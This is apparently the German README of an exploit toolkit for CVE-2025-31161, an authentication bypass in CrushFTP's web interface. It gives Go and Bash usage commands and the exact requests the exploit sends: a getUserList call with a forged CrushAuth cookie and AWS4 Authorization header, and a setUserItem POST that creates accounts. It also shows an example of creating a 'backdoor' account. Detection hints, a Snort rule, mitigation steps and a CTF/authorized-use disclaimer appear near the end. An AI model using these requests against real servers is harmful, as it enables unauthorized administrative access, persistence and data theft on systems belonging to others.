CrushFTP Authentifizierungs-Bypass - CVE-2025-31161

Ein umfassendes Toolkit zur Ausnutzung von CVE-2025-31161, einer Authentifizierungs-Bypass-Schwachstelle in CrushFTP, die das Erstellen nicht autorisierter Benutzerkonten ermöglicht.

🔍 Was ist CVE-2025-31161?

CVE-2025-31161 ist eine kritische Authentifizierungs-Bypass-Schwachstelle in CrushFTP, die es Angreifern ermöglicht, ohne ordnungsgemäße Authentifizierung nicht autorisierte Benutzerkonten zu erstellen. Diese Schwachstelle existiert in der Benutzerverwaltungsfunktion der Weboberfläche.

Technische Details

• CVSS-Score: TBD
• Betroffene Software: CrushFTP-Weboberfläche
• Angriffsvektor: Netzwerk
• Erforderliche Authentifizierung: Keine
• Auswirkung: Vollständige Kompromittierung des Systems durch Erstellung nicht autorisierter Konten

🚀 Funktionen

• Mehrsprachige Unterstützung: Implementierungen in Go und Bash
• Intelligente Schwachstellenerkennung: Überprüft automatisch, ob das Ziel verwundbar ist, bevor der Exploit ausgeführt wird
• Benutzerenumeration: Vorhandene Benutzer auf verwundbaren Zielen auflisten
• Benutzererstellung: Neue administrative Konten erstellen
• Interaktiver Modus: Fordert nur dann zur Eingabe von Anmeldedaten auf, wenn das Ziel als verwundbar bestätigt wurde
• Kurzform-Flags: Schneller Zugriff mit den Flags -t, -p, -tu
• Unterstützung benutzerdefinierter Ports: Konfigurierbarer Port für verschiedene Bereitstellungsszenarien
• Bildungsschwerpunkt: Entwickelt für CTF-Herausforderungen und Sicherheitsforschung

📁 Repository-Struktur

CrushFTP-auth-bypass-CVE-2025-31161/
├── README.md                 # Diese Dokumentation
├── cve-2025-31161.go        # Go-Implementierung (empfohlen)
├── cve-2025-31161.sh        # Bash-Implementierung
└── LICENSE                  # MIT-Lizenz

🛠️ Installation und Voraussetzungen

Voraussetzungen

Für die Go-Version (empfohlen)

# Go installieren (falls nicht bereits geschehen)
sudo apt install golang-go
# oder
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

Für die Bash-Version

# Erfordert curl (normalerweise vorinstalliert)
sudo apt install curl

Schnelle Einrichtung

git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh

🎯 Verwendung

Go-Version (empfohlen)

Benutzer auflisten

# Grundlegende Verwendung mit Kurzform-Flags
go run cve-2025-31161.go -t example.com -lu

# Mit benutzerdefiniertem Port
go run cve-2025-31161.go -t example.com -p 8080 -lu

# Lange Form der Flags
go run cve-2025-31161.go --target_host example.com --port 8080 -lu

Neuen Benutzer hinzufügen

# Neuen Benutzer erstellen (fragt nach Benutzername/Passwort)
go run cve-2025-31161.go -t example.com -au

# Mit benutzerdefiniertem Zielbenutzer (Standard: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au

# Lange Form der Flags
go run cve-2025-31161.go --target_host example.com --target_user admin -au

Bash-Version

Benutzer auflisten

# Grundlegende Verwendung
./cve-2025-31161.sh -t example.com -lu

# Mit benutzerdefiniertem Port
./cve-2025-31161.sh -t example.com -p 8080 -lu

Neuen Benutzer hinzufügen

# Neuen Benutzer erstellen
./cve-2025-31161.sh -t example.com -au

# Mit benutzerdefinierten Einstellungen
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au

Verfügbare Flags

Beispiele zur Verwendung

# Beispiel 1: Benutzer auf Ziel auflisten
go run cve-2025-31161.go -t ftp.example.htb -lu

# Beispiel 2: Hintertürkonto erstellen
go run cve-2025-31161.go -t ftp.example.htb -au
# Dann eingeben: username: backdoor, password: P@ssw0rd123

# Beispiel 3: Nicht standardmäßiger Port mit Benutzerenumeration
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu

# Hilfe anzeigen
./cve-2025-31161.sh --help

🔄 Funktionsweise

flowchart TD
    A[Start Exploit] --> B[Check Target Connectivity]
    B --> C{Target Reachable?}
    C -->|No| D[Exit: Connection Failed]
    C -->|Yes| E[Send getUserList Request]
    E --> F{Response Contains OK?}
    F -->|No| G[Exit: Not Vulnerable]
    F -->|Yes| H[Target is Vulnerable!]
    H --> I{Mode Selected?}
    I -->|List Users -lu| J[Parse XML Response]
    J --> K[Display User List]
    K --> L[Exit: Success]
    I -->|Add User -au| M[Prompt for Username]
    M --> N[Prompt for Password]
    N --> O[Send Warm-up Request]
    O --> P[Craft User Creation Payload]
    P --> Q[Send setUserItem Request]
    Q --> R{User Created Successfully?}
    R -->|Yes| S[Success: Account Created]
    R -->|No| T[Failed: Exploitation Failed]

    style A fill:#e1f5fe
    style H fill:#c8e6c9
    style K fill:#81c784
    style S fill:#4caf50
    style D fill:#ffcdd2
    style G fill:#ffcdd2
    style T fill:#ffcdd2

🧪 Erklärung des Exploit-Ablaufs

Schritt 1: Schwachstellenerkennung

Das Skript sendet zuerst eine getUserList-Anfrage, um zu überprüfen, ob das Ziel verwundbar ist:

GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Wenn die Antwort <response_status>OK</response_status> enthält, ist das Ziel verwundbar.

Schritt 2a: Benutzerenumeration (Modus „Benutzer auflisten“)

Bei Verwendung des Flags -lu analysiert das Skript die XML-Antwort und extrahiert die Benutzernamen:

<user_list type="vector">
    <user_list_subitem>ben</user_list_subitem>
    <user_list_subitem>crushadmin</user_list_subitem>
    <user_list_subitem>default</user_list_subitem>
</user_list>

Ausgabe:

[+] Users:
  - ben
  - crushadmin
  - default

Schritt 2b: Erstellung von Benutzerkonten (Modus „Benutzer hinzufügen“)

Bei Verwendung des Flags -au sendet das Skript eine setUserItem-Anfrage mit schädlicher XML-Nutzlast:

POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded

command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If

Schritt 3: Überprüfung

Das Skript sucht in der Antwort nach <response_status>OK</response_status>, um die erfolgreiche Benutzererstellung zu bestätigen.

⚠️ Details zur Schwachstelle

Grundursache

Die Schwachstelle resultiert aus unzureichenden Authentifizierungsprüfungen in der Benutzerverwaltungsfunktion der CrushFTP-Weboberfläche. Die Anwendung akzeptiert Anfragen zur Benutzererstellung, ohne die Berechtigungen des Aufrufers ordnungsgemäß zu validieren.

Auswirkungsbewertung

• Vertraulichkeit: HOCH - Nicht autorisierter Zugriff auf das Dateisystem
• Integrität: HOCH - Möglichkeit, Dateien zu ändern/hochzuladen
• Verfügbarkeit: MITTEL - Potenzial für Ressourcenerschöpfung

Angriffsszenarien

1. Erstzugriff: Erstellen von Hintertürkonten für dauerhaften Zugriff
2. Privilegienerweiterung: Erstellen von Konten auf Admin-Ebene
3. Datendiebstahl: Zugriff auf sensible Dateien über die FTP-Schnittstelle
4. Seitwärtsbewegung: Verwendung des kompromittierten FTP-Servers als Sprungbrett

🛡️ Erkennung und Abhilfe

Erkennungsmethoden

• Überwachen Sie auf ungewöhnliche setUserItem-Anfragen in Webservern-Logs
• Prüfen Sie auf neue Benutzerkonten, die außerhalb normaler Prozesse erstellt wurden
• Implementieren Sie eine Anomalieerkennung für Authentifizierungs-Bypass-Muster

Abhilfestrategien

1. Sofort: Zugriff auf /webinterface/function/-Endpunkte blockieren
2. Kurzfristig: Auf die gepatchte CrushFTP-Version aktualisieren
3. Langfristig: Implementierung ordnungsgemäßer Authentifizierungskontrollen

Netzwerksignaturen

# Snort/Suricata-Regelbeispiel
alert http any any -> any any (msg:"CrushFTP CVE-2025-31161 Exploit Attempt"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)

🎓 Bildungsanwendungsfälle

CTF-Szenarien

• Webanwendungssicherheit: Verständnis von Authentifizierungs-Bypass-Schwachstellen
• Penetrationstests: Demonstration realer Exploit-Techniken
• Red Team-Übungen: Simulation von APT-ähnlichen Angriffen

Lernziele

• Verständnis der HTTP-Anfragenmanipulation
• XML-Injektionstechniken
• Methoden zum Authentifizierungs-Bypass
• Exploit-Entwicklung in mehreren Sprachen

🚨 Rechtlicher Haftungsausschluss

⚠️ WICHTIG: Dieses Tool wurde entwickelt für:

• Bildungszwecke
• Autorisierte Penetrationstests
• CTF-Wettbewerbe
• Sicherheitsforschung in kontrollierten Umgebungen

NICHT VERWENDEN auf Systemen ohne ausdrückliche schriftliche Genehmigung. Unbefugter Zugriff auf Computersysteme ist illegal und kann zu schwerwiegenden rechtlichen Konsequenzen führen.

🤝 Mitwirken

Beiträge sind willkommen! Bitte:

1. Forke das Repository
2. Erstelle einen Feature-Branch (git checkout -b feature/improvement)
3. Committe deine Änderungen (git commit -am 'Add new feature')
4. Pushe den Branch (git push origin feature/improvement)
5. Erstelle einen Pull-Request

Entwicklungsrichtlinien

• Befolge den vorhandenen Codestil
• Füge umfassende Kommentare hinzu
• Teste in mehreren Zielumgebungen
• Aktualisiere die Dokumentation für neue Funktionen

📝 Versionsgeschichte

📚 Referenzen

• CVE-2025-31161 Details
• CrushFTP Offizielle Website
• OWASP Authentifizierungs-Bypass
• Ursprüngliche Forschung von Immersive Labs

📧 Kontakt

Bei Fragen, Vorschlägen oder Sicherheitsbedenken öffnen Sie bitte ein Issue in diesem Repository.